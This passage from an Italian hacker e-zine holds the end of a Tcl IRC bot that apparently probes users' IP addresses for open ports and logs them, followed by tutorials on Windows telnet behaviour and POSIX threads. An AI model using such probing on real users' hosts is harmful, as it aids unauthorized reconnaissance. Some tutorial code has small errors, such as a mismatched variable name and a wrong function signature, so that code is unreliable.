if {[string compare [socket $ip $porta] "sock"] !="-1"} {
set ilfile [open "$file.log" a]
if {[string length $nick]<8} {
puts $ilfile "$nick $porta $ip"
close $ilfile
} else {
puts $ilfile "$nick $porta $ip"
close $ilfile
}
}
}
}
}

--- lamah.var

##########################
#
# Per ogni programma della minchia ci va un commento della minchia!
# Ci ho impiegato 15 minuti per scrivere queste 50 righe di codice
# quindi non ci vuole molto a capire il funzionamento!
# Leggi il LEGGIMI per capire!
#
# PS: non ho fatto alcun tipo di controlli per quanto riguarda
# il server, il nick e le altre cose.
# Se qualcosa non funziona, ricontrollate le variabili
# qua sotto perchè come ve l'ho dato funziona.
#
##########################

#Mettere qui il nome del programma come se fosse una persona normale
#di IRC:
set bot(NOME) "NomeLamah"

#Metter qui il nick
set bot(NICK) "NickLamah"

#Mettere qui il server
set bot(SERVER) irc.server.it

#La porta
set bot(PORTA) 6667

#Il canale
set bot(CANALE) #canale

#Messaggio di uscita
set bot(QUIT) "Mondo crudele!!!"

---


Briciole di teoria della programmazione
ovvero: costruire un server unix compatibile col telnet di windows

Autore: tHE rECIdjVO <recidjvo@pkcrew.org> [PkC] http://www.pkcrew.org/
Musica: Blink 182 (...)
Mangime: nulla (appena finito di pranzare)
Tasso alcoolico: 0,007% (e' quasi un annooo :)
Ringraziamenti: Mio zio che ha il portatileeeeeeeee (grande, cazzo :)
Motto dell'estate: - Sembra talco ma non e', serve a darti l'alle-gria!
Se lo mangi o lo respiri, ti da subito l'alle-gria! -
(non vi e' mai passata per la mente l'idea che Pollon sniffi??? ;)

-Premessa- Tutto quello che sto scrivendo e' solo frutto di un mio studio personale, e
purtroppo le mie condizioni attuali non mi permettono di approfondire meglio l'argomento o
documentarmi in maniera piu' precisa.
E' gia' tanto che abbia trovato un computer qui, quindi accontentatevi di questo :)

Vi sara' certamente capitato in molte occasioni che collegandovi con il client telnet di
windows il comportamento che vi aspettate come risposta dal server (sviluppato per
piattaforme unixlike) non sia proprio quello che ottenete: a partire dal backspace
che non funziona (anche se a noi puo' parere di si...), fino al comportamento strano
che fa pensare che il
server sia impazzito, non ci riusciamo a cavare un ragno dal buco. Colpa del server?
Uhm, naaa :)
O meglio, non e' *colpa* di un errato comportamento del server, ma semplicemente dal
suo sviluppo, durante il quale non si e' tenuto conto di quanto stupido sia il
terminale telnet piu' diffuso in ambiente windows, altremodo chiamato telnet.exe.
Quindi di seguito tutta la trattazione considerera' il client come telnet.exe di
windows, per farci capire quello di default che trovate in qualsiasi versione del
rompicapo di Gates: il problema infatti non e' nell'implementazione del tcp/ip di Windows
(che gia' ha i suoi problemi :) o nella codifica delle winsock, ma, da quel che ho
constatato con alcune piccole prove, solo nella programmazione del client predefinito
(di cui non ho i sorci, ma credo proprio di aver individuato il problema).
Il problema, semplice ma vitale, e': perche' se mi collego ad un certo server con il
client di windows non funziona una mazza, mentre con quello di linux si?!?!
Cerchiamo di dare una soluzione razionale al problema, partendo da zero e ponendoci
delle domande fondamentali:
1) Perche' non riesco a trovare una ragazza carina che stia con me?
2) Perche' quando la trovo non mi va piu' e inizio a cercarne un'altra?
3) Perche' non passero' mai gli esami a settembre?
4) Perche'... -AZZ-

Scusate mi sono confuso con la mia biografia... :)
Dai, seriamente. Se il server e' lo stesso, fatto bene o male che sia, la differenza di
comportamento da parte dei due client puo' portarci a una sola conclusione: i client non
sono programmati in modo uguale. Staniamo le differenze.


Per fare cio' ci creiamo un semplice server sotto linux, programmato su misura per
analizzare il problema.
Vediamolo:

--- cat badserver.c ---
#define PORT 10000

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

int main(void);

int main()
{
int ssock, csock, clen;
struct sockaddr_in saddr, caddr;
char buff[1024];

ssock = socket(AF_INET, SOCK_STREAM, 0);
saddr.sin_family = AF_INET;
saddr.sin_port = htons(PORT);
saddr.sin_addr.s_addr = htonl(0);

bind(ssock, &saddr, sizeof(saddr));
listen(ssock, 0);

clen = sizeof(caddr);
csock = accept(ssock, &caddr, &clen);

while(1) {
bzero(buff, 1024);
recv(csock, buff, 1024, 0);
printf("->%s<-\n", buff);
}
exit(1);
}
--- EOF badserver.c ---

Nulla di particolare, semplicemente riscrive a video tutto quello che gli viene inviato.
Ora compiliamolo e iniziamo a fare delle prove

[recidjvo@pkcrew.org ~]$ telnet localhost 10000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
ciao

E sul termilane dove abbiamo lanciato il programma apparira':
->ciao<-

facciamo ora la prova collegandoci da una macchina con windows
C:\>telnet lbox 10000
ciao

Output del server:
->c<-
->i<-
->ao<-

Uhm?!?!
Roprovando e riprovando, si giunge alla conclusione: il telnet di windows non aspetta
un ritorno di riga (\r o \n) per inviare i dati, ma invia carattere per carattere i dati
che gli vengono scritti sul terminale.
Ecco perche' non possiamo usare il backspace! Infatti i caratteri che vorremmo cancellare
non sono ancora nel nostro buffer di lettura, ma sono gia arrivati al server! Mannaggia...
Ma fosse solo questo il problema...
Mai capitato che vi colleghiate a dei server, magari un po' artigianali, che implementano
un loro protocollo? Mettiamo che ci sia il comando QUIT che serve per chiudere la
connessione, e vediamo come un programmatore unix che non sia a conoscienza di questo
problema possa aver strutturato la porzione del suo programma che si occupa di gestire
il protocollo:

[...]
bzero(buff, 4096);
recv(csock, buff, 4096, 0);
if(strncasecmp(buff, "QUIT", 4) == 0) {
close(csock);
exit(1);
}
[...]

Beh, sembrerebbe tutto corretto... fidatevi, se vi collegate con un client linux tutto
ok, col telnet di windows non funzionera' mai.
Infatti appena premete la 'Q' di 'QUIT' il client manda il buffer al server, che lo
legge con la recv(); ovviamente il confronto tra 'Q' e 'QUIT' non va a buon fine
e l'if non viene eseguito.
Il buffer successivo, conterra' probabilmente 'UIT', che fara' fallire ancora il
controllo... in parole semplici non potrete mai dare con sicurezza un comando superiore
a un carattere singolo.

Come facciamo allora?!?!
Eheheh, la risposta piu' carina sarebbe: non usate mai windows, se proprio dovete
installate un client diverso come TeraTerm, e se siete sviluppatori unix fregatevene
altamente della compatibilita', che muoiano i windowsiani :)
Ovvio che non si puo'.
Le possibilita' per risolvere questo *inconveniente* possono essere varie, sia da lato
client che da lato server.
Vediamo come prevenire questo problema nel caso volessimo sviluppare un server unix
che permetta anche agli utenti windows di muoversi agevolmente senza impazzire, come
del resto fanno la grande maggioranza dei server professionali diffusi nell'ambiente.

Bene, mettiamoci quindi all'opera per *catturare* la pressione del tasto invio da parte
dell'utente e non semplicemente analizzando il buffer che arriva (sarebbe troppo facile,
e qualcuno non vuole cio'...): al posto della semplice recv() e strcmp() mettiamo allora
un controllo se il buffer arrivato contiene un \r\n (usiamo solo il \r visto che e' il
primo, e nel caso di un client linux a volte l'unico).

--- cat goodserver.c ---
#define PORT 10000

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

int main(void);

int main()
{
int ssock, csock, clen, i, j;
struct sockaddr_in saddr, caddr;
char buff[1024], buff2[4096];

ssock = socket(AF_INET, SOCK_STREAM, 0);
saddr.sin_family = AF_INET;
saddr.sin_port = htons(PORT);
saddr.sin_addr.s_addr = htonl(0);

bind(ssock, &saddr, sizeof(saddr));
listen(ssock, 0);


clen = sizeof(caddr);
csock = accept(ssock, &caddr, &clen);

while(1) {
bzero(buff2, 4096);
j = 0;
do {
bzero(buff, 1024);
recv(csock, buff, 1024, 0);
i = 0;
while((buff[i] != '\r') && (buff[i] != '\0')) {
buff2[j++] = buff[i++];
}
} while(!strchr(buff, '\r'));

printf("->%s<-\n", buff2);
}
exit(1);
}
--- EOF goodserver.c ---

Questo esempio riceve dati in un buffer, ma lo elabora solamente nel momento in cui
viene trovato un ritorno di riga (\r), ricostruendo in questo modo la stringa che e'
stata scritta prima della pressione del tasto invio, emulando il comportamento che
caratterizza il client telnet unixlike.
Ora anche col nostro telnet.exe ci sara' possibile accedere alle caratteristiche del
server, e non saremo costretti a inventare qualcosa per patchare il problema dal lato
client, come ad esempio scrivere un bouncer locale che immagazzini l'uotput fino al
ritorno di riga oppure riscriverci in client stesso... Sarebbe un buon esercizio, comunque :)

In ogni modo, se state sviluppando un server e il progetto comprende anche che una
parte dell'utenza sia Windows, non rinunciate alla compatibilita' con uno dei sistemi
piu' diffusi in giro, ma aggiungete poche righe di codice al fine di rendere possibile
una convivenza e di accrescere la fama che permette a linux di vantarsi davanti a tutti :)

Buon lavoro e buone vacanze.
tHE rECIdjVO




ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛ°°°°°°°ÛÛ°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛ°°°°°°°ÛÛ°°°ÛÛ°°ÛÛ°°°ÛÛ°°ÛÛ°°°°°°ÛÛÛÛ°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛ°°°°ÛÛ°°°ÛÛ°°ÛÛÛÛÛ°°°°ÛÛ°°°°°ÛÛ°°ÛÛ°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛ°°°°°°°ÛÛ°°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛ°°°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛ°°°ÛÛ°°ÛÛ°°°ÛÛ°°°°°°ÛÛ°°°°°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ




PThreaD TutoriaL : se pensate ke non vi servano vi sbagliate...

(R)ipLey / members of Packet Knights (www.pkcrew.org)

email : ripley@pkcrew.org

1 INTRODUZIONE

Bene bene bene bene...

Uff... in questo periodo ho letto un bel po' di cose (mai abbastanza:)
quindi penso sia arrivato il momento di scrivere qualcosa anch'io...
altrimenti mi va in overflow il cervello (il mio impianto cerebrale
e' di pochi Gigabyte :P mi dovro' fare un'espansione... hehehe...
magari un Quantum Fireball 10.2... al posto del cervelletto, che
ne dici netZus? cosi' liquido anche qualche ricordo spiacevole :)

Quindi ho deciso di scaricare sul mio HD (e spero di occupare un
paio di K anche sul vostro... :) qualcuna delle cose che ho appreso
e che potrebbero tornare utili anche a voi :

i thread

e in special modo il loro uso sotto linux (il nostro SO preferito)
mediante la libreria ``pthread''.

Benissimo, ora vi chiederete :

"E ke kzz ce ne facciamo dei thread? mica servono ad hackerare!!!!"

Prima di tutto parlate + pulito (non voglio + sentire la parola kzz
dalle vostre tastiere!!!:), seconda cosa non e' l'approccio giusto
imparare una cosa solo x ``hackerare''...l'hacking dovrebbe essere
uno stimolo a imparare + cose e non deve direzionare tutto il vostro
(spero infinito) interesse in una sola direzione...ma dovrebbe allargare
i vostri (nostri) orizzonti fino a dove non potete (possiamo) arrivare
con gli okki (ke belle parole!;)

Quindi non pensiate ke non vi servano, tutto serve! Ricordate ke
l'arma di un hacker non sono i virus fantascientifici, dataglove
e caschi virtuali ke vediamo nei film (o leggiamo nei libri, anke
se io adoro Gibson :) ma e' la conoscenza! insomma...+ cose sapete
e + siete "pericolosi" (non fraintendete la parola pericolosi...diciamo
"potenzialmente pericolosi" :)



2 PREAMBOLO TEORICO

Innanzitutto penso dovrei spiegare a tutti coloro che non lo sanno
cos'e' un thread, qual'e' la loro importanza e in cosa differiscono
dai processi UniX. Allora...diamo un paio di definizioni :

2.1 COS'E' UN PROCESSO

Un processo e' un programma in esecuzione e comprende percio' sia il
codice da eseguire che l'area dati, piu' una copia dei registri (
e in particolare del registro contatore di programma). Vi puo' aiutare
immaginare ke ogni processo abbia la propria CPU "virtuale". (definizione
presa dal libro "PROGETTAZIONE E SVILUPPO DEI SISTEMI OPERATIVI" del
mitiko Andrew S. Tanenbaum, leggetelo...x molti versi e' illuminante)

Con una organizzazione di questo tipo il nostro SO puo' eseguire
+ programmi contemporaneamente : questo e' quello ke si dice MultiTasking
(Task sta x processo)...e ad esempio Linux e' un SO dotato di multitasking...
windoze...un po' - :).

In realta' la CPU non esegue i processi (Task) contemporaneamente
ma swappa da uno all'altro al verificarsi di determinate situazioni
ke non vi sto qui a spiegare...

...

...e va bene, va bene swappa ad esempio nel caso in cui il quanto
(la frazione) di tempo assegnato a quel processo e' scaduto oppure
quando il processo ha bisogno di una risorsa ke in quel momento
e' okkupata e non puo' continuare la sua esecuzione.

Chiaro no? la CPU esegue tutti i task per una frazione (MOLTO frazione
:) di secondo creando l'illusione che i task siano eseguiti contemporaneamente

Swappando da un task ad un altro il SO si deve pero' preokkupare
di salvare tutte quelle informazioni ke gli permetteranno in futuro
di poter ricominciare ad eseguire quel task proprio dalla situazione
in cui lo aveva lasciato!

Inoltre quando noi (ad esempio) usiamo in un nostro programma in
c la chiamata di sistema "fork()" viene creato un nuovo processo,
detto figlio, che sara' in tutto e per tutto uguale al padre...ma
che non ne condivide le risorse.

Quindi ad esempio la variabile 'a' del processo padre non e' propriamente
la variabile 'a' del processo figlio... per essere + chiari bisogna
dire ke la variabile 'a' del processo figlio avra' inizialmente
lo stesso valore della variabile 'a' del processo padre al momento
del fork, ma modificandola nel processo figlio non si avra' lo stesso
effetto sulla corrispondente variabile del processo padre.

Di konseguenza si capisce ke la CPU con la chiamata "fork()" non
solo alloca lo spazio per il nuovo processo ma copia anke l'intero
kontenuto del processo padre (sia l'area dati ke l'area codice)
nello spazio appena allocato... penso di aver reso + o - l'idea
della pesantezza di tale operazione, ke, anke se a volte e' necessaria,
puo' essere evitata con l'uso dei thread.

2.2 COS'E' UN THREAD

I thread sono anke detti "processi leggeri" e questa definizione
kalza davvero a pennello!!! I thread, pur essendo eseguiti alternativamente
+ o - come viene fatto kon i processi, differiskono nell'area codice
ma mantengono in comune l'area dati.

Kome in ogni kosa ci sono i lati positivi e quelli negativi.

Positivo e' il fatto ke la CPU (o meglio il kernel del nostro SO)
perde meno tempo in allocazioni e copie di aree di memoria, quindi
creare nel nostro programma 30 thread risultera' meno pesante ke
creare 30 processi (e qui tutti in coro : <<BRAVOOOOOO!!!>> :)

Negativo (in un certo senso) e' il fatto ke l'area dati e' completamente
in comune, in quanto e' facile, se non ci si organizza, il verificarsi
di incongruenze (tipo +thread ke accedono "contemporaneamente" (si
fa x dire :) alla stessa variabile modificandone il valore e rendendo
impossibile prevedere a quale risultato porteranno)

Sono cmq problemi ke si posso risolvere! E IO sono qui x questo!!!
HAHAHAHAHA!

Un thread in fondo non e' altro ke un contatore di programma, uno
stack (per il passaggio di parametri, allocazione di variabili locali
etc.) e un set di registri.

Un'altra precisazione e' necessaria prima di passare alla parte pratika
di questo tut :

l'introduzione dei thread non elimina o sostituisce l'uso dei processi
(kome invece pare abbia pensato il nostro "caro" Bill, hahahahaha!
frecciatina velenosa :) ma konvivono tranquillamente.

In questo kaso possiamo pensare ad un processo "tradizionale" kome
avente un solo thread... nessuno ci vieta di usare strane kombianzioni
dei due metodi ... fate attenzione xo', riskiate di perdere il kontrollo
della vostra "creatura" :)

L'uso di + thread x processo e' detto MultiThreading... un sistema
MultiThreading puo' essere ad esempio winDomino... ma anke linuzzo
(ke xo' e' anke MultiTasking! ;)

2.3 NON SOTTOVALUTIAMO LA PRATIKA

Dopo esserci fatti un quadro della situazione (se non avete kapito
un kzz dalla mia spiegazione non vi biasimo, nella sezione bibliografika
vi segnalero' qualke testo + affidabile :P ) passiamo alla realizzazione
di qualke programmino di esempio ke ci aiuteranno a saldare sulla
nostra korteccia cerebrale quello "ke ci era sembrato di kapire"
teorikamente.

Per l'utilizzo dei thread sotto linux ci sono, naturalmente, + librerie.
Quella ke andremo ad utilizzare e' la libreria pthread (da POSIX
Thread). Non posso dire se e' la migliore come prestazione o struttura
ma e' sicuramente la + utilizzata ed e' ormai presente in tutte
le distribuzioni... inoltre e' l'unika ke io sappia usare quindi
se non vi piace vi tokka trovare un altro insegnante :P



3 CREAZIONE DI THREAD

Innanzitutto vediamo quali sono i passaggi indispensabili per creare
dei thread all'interno del nostro programma. Come primo requisito
abbiamo l'inclusione nel nostro programma dell'header file della libreria
per la gestione dei thread sotto linux :

#include <pthread.h>

Inoltre in fase di compilazione dovremo linkare al nostro codice quello
della libreria, percio' dovremo scrivere qualcosa come :

gcc -o test test.c -lpthread

Adesso proviamo a scrivere un piccolo programma di esempio che crei
un thread che stampa ripetutamente una stringa sullo schermo mentre
il nostro programma principale sara' in perenne attesa.

Per assegnare il codice da eseguire ad un thread si scrive una funzione
che avra' un prototipo del tipo :

void (*nome_della_funzione)(void* argomento);

e passeremo il puntatore a questa funzione a ``pthread_create'', funzione
che, appunto, creera' il thread e gli assegnera' il codice da eseguire
(l'entry point del thread).

Tengo a sottolineare che il parametro della funzione di partenza del
thread e' ``void*'' e non ``void'' ed e' un puntatore che ci servira'
a passare al thread tutti i dati che gli servono, organizzati in una
struttura (o classe :) se sono piu' di uno (e lo saranno, lo saranno
!!! :)))

Esempio n.1 :

1: #include <stdio.h>
2: #include <pthread.h>
3:
4: /* Prototipo della funzione da associare al thread */
5: void* echoString(void* string_to_print);
6:
7: int main() {
8: /* identificativo del thread */
9: pthread_t first_threadA;
10: int result;
11:
12: /* creazione del thread e passaggio di un argomento al thread,
13: * in questo caso una stringa */

14: result = pthread_create(&first_thread, NULL, &echoString, "Fuck");
15:
16: /* loop infinito */
17: while(1);
18:
19: exit(0);
20: }
21:
22: void* echoString(void* string_to_print) {
23: while(1)
24: printf("I say you : %s\n", string_to_print);
25: }

Alla riga 2 includiamo ``pthread.h'' che e' l'header file in cui
sono definite constanti , strutture e funzioni inerenti l'utilizzo
dei thread.

Alla riga 5 troviamo il prototipo della funzione che costituira l'entrypoint
del nostro thread.

Alla riga 9 dichiariamo una variabile di tipo pthread_t, questa conterra
l'identificativo del thread se la sua creazione andra' a buon fine.
( Se andiamo a controllare nell'header file cosa in realta' sia
effettivamente un pthread_t noteremo che non e' altro che un intero
:)

Alla riga 14 si trova la chiamata che creera' il thread (in questo
caso sara' un thread con gli attributi di default in quanto abbiamo
passato come secondo parametro, che dovrebbe essere il puntatore
ad una variabile di tipo pthread_attr_t, NULL) e se la chiamata
e' andata a buon fine inserira' in first_thread l'id del thread
appena creato e fara' eseguire al thread appena creato la funzione
passatagli come terzo parametro, passandogli cone argomento il quinto
argomento.

Alla riga 17 il processo principale entra in un loop infinito da
cui non uscira' fino a che non premiamo ^C da console.

Dalla riga 22 alla 25 troviamo la definizione della funzione precedentemente
dichiarata. Sara' proprio questo il codice che il nostro thread
eseguira' parallelamente all'esecuzione del processo principale.

3.1 Note sulla scrittura del codice dei thread.

Si deve prestare particolare attenzione nello scrivere il codice relativo
ai vari thread.

In particolare alcuni funzioni come ``delay'' agiscono sull'intero
processo e non sul singolo thread, quindi facendo una chiamata a ``delay''
da uno dei thread non sara' solo quel thread a mettersi in pausa ma
l'intero processo.

Inoltre bisogna tenere in conto nel manipolare variabili globali che
altri thread potrebbero accedere a quella stessa variabile in un istante
molto vicino al momento in cui la stiamo modificando generando risultati
inaspettati.

Come ultima nota bisogna dire che il thread dovrebbe terminare con
la chiamata ``pthread_exit'' solo cosi' possiamo essere certi della
sua terminazione.

4 Sincronizzazione

Nei programmi multithreading dobbiamo prestare particolare attenzione
nell'ac- cedere alle variabili globali.

Dobbiamo ricordare infatti che le funzioni associate ai thread non
sono normali funzioni in quanto vengono eseguite in parallelo, quindi
fino a quando interagiamo esclusivamente con le variabili locali (che
vengono allocate nello stack personale del thread e sono quindi inaccessibili
da altri thread) non ci sono problemi, ma nell'accedere alle variabili
globali dovremmo stabilire una politica di accesso che ci assicuri
che mentre un thread sta accedendo a una variabile nessun altro thread
tenti di manipolare la stessa.

La libreria pthread (che sta per POSIX Threads) ci mette a disposizione
proprio per questo scopo una struttura detta ``mutex'' e una struttura
detta ``condition'' e un buon numero di funzioni per manipolarli.

4.1 I Mutex

Mutex sta per dispositivo di ``MUTual EXclusion'' e' servono per l'appunto
per proteggere dati condivisi da accessi concorrenti. Gli stati di
un mutex sono solo due :

1. bloccato (posseduto da un thread);

2. sbloccato (non posseduto da nessun thread).

Percio' un thread non puo' essere posseduto da due thread contemporaneamente.
Se un thread tentasse di bloccare un mutex che si trova gia' in stato
di bloccato, verrebbe sospeso fino a quando il thread possessore del
mutex non lo rilasci.

La chiamata ``pthread_mutex_init'' inizializza un mutex secondo gli
attributi specificati da una struttura pthread_mutexattr_t (naturalmente
se il puntatore a questa struttura e' NULL verranno usati gli attributi
di default :)

pthread_mutex_init(pthread_mutex_t* mutex, const pthread_mutexattr_t*
mutexattr);

L'implementazione per Linux dei POSIX Threads supporta soltanto l'attributo
``tipo di mutex'' (mutex kind). Ci sono 3 tipi di mutex :

1. fast (veloce) [default];

2. recursive (ricorsivo);

3. error checking (a controllo d'errore).

Le variabili di tipo pthread_mutex_t possono anche essere inizializzate
staticamente con le costanti :

1. PTHREAD_MUTEX_INITIALIZER : per mutex di tipo fast;

2. PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP : per mutex di tipo ricorsivo;

3. PTHREAD_ERRORCHECK_MUTEX_INITIALIZER_NP : per mutex a controllo d'errore.

Le funzioni rigurdanti l'utilizzo di mutex sono :

1. int pthread_mutex_lock(pthread_mutex_t* mutex);

2. int pthread_mutex_trylock(pthread_mutex_t* mutex);

3. int pthread_mutex_unlock(pthread_mutex_t* mutex);

4. int pthread_mutex_destroy(pthread_mutex_t* mutex);

4.1.1 int pthread_mutex_lock(pthread_mutex_t* mutex);

Questa funzione blocca il mutex passatogli come parametro, nel caso
in cui il mutex non sia bloccato verra' bloccato e sara' posseduto
dal thread chiamante, di conseguenza ``pthread_mutex_lock `` ritornera'
immediatamente. Se il mutex e' gia' posseduto da un altro thread,
il thread chiamante verra' sospeso fino a quando il mutex sara' sbloccato
nel thread possessore, solo allora ``pthread_mutex_lock'' ritornera'.

Se il mutex era gia' stato bloccato dallo stesso thread chiamante,
il comportamento di ``pthread_mutex_lock'' cambia a seconda del
tipo di mutex.

1. Se il mutex e' di tipo ``fast'', il thread chiamante sara' sospeso
fino a quando il mutex non sia stato sbloccato, cosa che naturalmente
non avverra' molto presto :))) e causera' il blocco totale del thread
(deadlock).

2. Se il mutex e' di tipo ``recursive'', la chiamata avra' successo
e ritornera' immediatamente, ricordando il numero di volte che il
thread chiamante a bloccato il thread... saranno necessarie un ugual
numero di chiamate a pthread_mutex_unlock perche' il mutex ritorni
nello stato di sbloccato.

3. Se il mutex e' di tipo ``errorchecking'', la chiamata ritornera'
immediatamente con il codice di errore EDEADLK.

4.1.2 int pthread_mutex_trylock(pthread_mutex_t* mutex);

Il comportamento di questa funzione e' identica a quello della precedente,
solo che il thread chiamante non verra' bloccato nel caso in cui il
mutex sia gia' bloccato, ma ritornera' immediatamente con il codice
di errore EBUSY.

4.1.3 int pthread_mutex_unlock(pthread_mutex_t* mutex);

Questa funzione, come sicuramente intuirete :P, sblocca il mutex passatogli
come parametro. La funzione assume che il mutex sia in stato di bloccato
e che sia posseduto dal thread chiamante. Anche il comportamento di
questa funzione varia a seconda del tipo di mutex che le passiamo :

1. Se il mutex e' di tipo ``fast'', la funzione ritornera' sempre il
mutex nello stato di sbloccato.

2. Se il mutex e' di tipo ``ricorsivo'', la funzione decrementera' il
contatore all'interno del mutex (che contiene il numero di volte
che e' stato bloccato) e solo quando questo contatore raggiungera'
il valore 0 il mutex verra' sbloccato.

3. Se il mutex e' di tipo ``errorchecking'', la funzione controllera'
in run-time che il mutex passatogli sia in stato di bloccato e che
il possessore sia proprio il thread chiamante. Se non fosse cosi'
ritornerebbe un codice di errore e il mutex rimarrebbe inalterato.

Per i mutex ``fast'' e ``recursive'' non viene effettuato nessun
tipo di controllo, ne' sullo stato del mutex ne' sull'effettivo
possessore del mutex, di conseguenza questo tipo di mutex permettono
a thread diversi dal possessore di sbloccare il mutex.

4.1.4 int pthread_mutex_destroy(pthread_mutex_t* mutex);

Questa chiamanta distrugge un oggetto mutex e ne libera le risorse.
Nell'imple- mentazione per Linux, non ci possono essere risorse associate
al mutex, quindi questa chiamata non fa niente oltre a controllare
che il mutex non sia in stato di bloccato (in tal caso la chiamata
non andrebbe a buon fine e il mutex rimarra' intatto).

4.1.5 Esempio pratico di sincronizzazione con i mutex.

Per comprenderne meglio il funzionamento scriveremo un semplice programma
che metta alla prova il funzionamento dei mutex. Faremo in modo che
il programma principale crei prima un mutex e lo blocchi, e poi crei
un thread

  
che come prima cosa tentera' di bloccare lo stesso mutex,
che essendo gia' in stato di bloccato provochera' la sospensione del
thread chiamante.

Dal programma principale intanto attenderemo la pressione di un tasto,
dopo di che sbloccheremo il mutex e con lui anche il thread :)

Esempio n.2 :

1: #include <pthread.h>
2: #include <stdio.h>
3:
4: pthread_mutex_t fastMtx = PTHREAD_MUTEX_INITIALIZER;
5:
6: void* thrd_function1(void* arg);
7:
8: int main() {
9: pthread_t thrdID;
10:
11: pthread_mutex_lock(&fastMtx);
12:
13: pthread_create(&thrdID, NULL, &thrd_function1, NULL);
14:
15: getchar();
16:
17: pthread_mutex_unlock(&fastMtx);
18:
19: while (1);
20:
21: return 0;
22: }
23:
24: void* thrd_function1(void* arg) {
25: int i;
26: pthread_mutex_lock(&fastMtx);
27:
28: for (i=0; i<4; i++)
29: printf("Fuck You\n");
30:
31: pthread_mutex_unlock(&fastMtx);
32:
33: pthread_exit(0);
34: }

Alla riga 4 inizializziamo il mutex con il metodo statico, lo abbiamo
dichiarato globale perche', chiaramente, deve essere accessibile
dai vari thread e quindi si deve trovare nei dati condivisi da tutti
i thread.

Alla riga 11 il main (che rappresenta anche lui un ``thread'', il
processo principale) blocca il mutex ancora prima di creare il thread.

Alla riga 13 viene creato il thread. Il thread si blocchera' immediatamente
perche' come prima cosa cerca di bloccare il mutex gia' posseduto
dal processo principale (riga 26)

Alla riga 17, dopo aver atteso la pressione di un tasto, il processo
principale rilascia il mutex ed entra in un ciclo infinito. Essendo
il mutex di nuovo libero il thread precedentemente sospeso puo'
essere ora ripreso.

Alla righe 28-29 vediamo che il thread stampa 4 volte la stringa
``Fuck You\n'' (vi voglio bene :P ) prima di terminare.

4.2 Le Condition

Le ``Condition'' (condizioni) sono una struttura che ci permettere
di sincronizzare i thread sospendendo la loro esecuzione (e quindi
facendoli rilasciare il processore) fino a quando una certa condizione
su dei dati condivisi non viene soddisfatta.

Le operazioni che si possono fare con una ``condition'' possiamo
dividerle in 3 tipi :

1. Inizializzazione e distruzione;

2. Segnalazione (quando un thread deve segnalare ai thread in attesa
il verificarsi della condizione);

3. Attesa della segnalazione (quando un thread si mette in attesa rilasciando
il processore).

4.2.1 Inizializzazione e distruzione

Per inizializzare una ``condition variable'' possiamo utilizzare la
funzione apposita pthread_cond_init o inizializzarla staticamente
usando la costante

PTHREAD_COND_INITIALIZER.

int pthread_cond_init(pthread_cond_t* cond, pthread_condattr_t *
cond_attr);

questa funzione inizializza la condizione ``cond'' usando gli attributi
specificati da ``cond_attr'' o quelli di default se ``cond_attr''
e' NULL. Dato che l'implementazione per Linux dei pthread non supporta
alcun tipo di attributi per cui ``cond_attr'' viene ignorata e viene
mantenuta solo per mantenere la compatibilita'.

Piu' semplicemente potremmo scrivere :

pthread_cond_t cond = PTHREAD_COND_INITIALIZER.

Per distruggere una ``condition variable'' si utilizza la funzione :

int pthread_cond_destroy(pthread_t* cond);

Se ci sono dei thread in attesa della condizione ``cond'' la funzione
non avra' successo e ritornera' il codice di errore EBUSY.

4.2.2 Segnalazione

Le funzioni per segnalare che la condizione si e' verificata sono 2 :

1. int pthread_cond_signal(pthread_cond_t* cond);

2. int pthread_cond_broadcast(pthread_cond_t* cond);

Entrambe servono a segnalare che la condizione ``cond'' si e' verificata,
la differenza sta nel fatto che la (1) fa ripartire solo 1 dei thread
in attesa mentre la (2) fa ripartire tutti i thread in attesa.

4.2.3 Attesa della segnalazione

Per mettere in attesa di una condizione un thread si usa la funzione :

int pthread_cond_wait(pthread_cond_t* cond);

Questa funzione sospende l'esecuzione del thread chiamante fino a
quando un altro thread non gli segnali di ripartire con una delle
chiamate viste in precedenza.

Oltre a questa c'e' un'altra chiamata per mettere in attesa un thread :

int pthread_cond_timedwait(pthread_cond_t* cond, pthread_mutex_t*
mutex, const struct tipespec* abstime);

che si mette in attesa della codizione ``cond'' al massimo per un
tempo ``abstime'' dopodiche' ritorna con il codice di errore ETIMEDOUT,
anziche' EINTR nel caso di segnale. (abstime sta per ``absolute
time'', cioe' 0 abstime = 00:00:00 GMT, January 1, 1970)

4.2.4 NOTE

A ogni ``condition variable'' va sempre associato un ``mutex'', questo
per evitare che la condizione venga segnalata proprio mentre un thread
si prepara a mettersi in attesa.

Percio' un thread prima di mettersi in attesa effettuera' un lock
sul ``mutex'' associato alla ``condition'' :

pthread_mutex_lock(&mutex);
pthread_cond_wait(&cond, &mutex);
/* Operazioni varie al verificarsi della condizione */
pthread_mutex_unlock(&mutex);

Cosi' come prima di segnalare una condizione :

pthread_mutex_lock(&mutex);
/* al verificarsi di una certa condizione */
pthread_cond_brodcast(&cond);
pthread_mutex_unlock(&mutex);

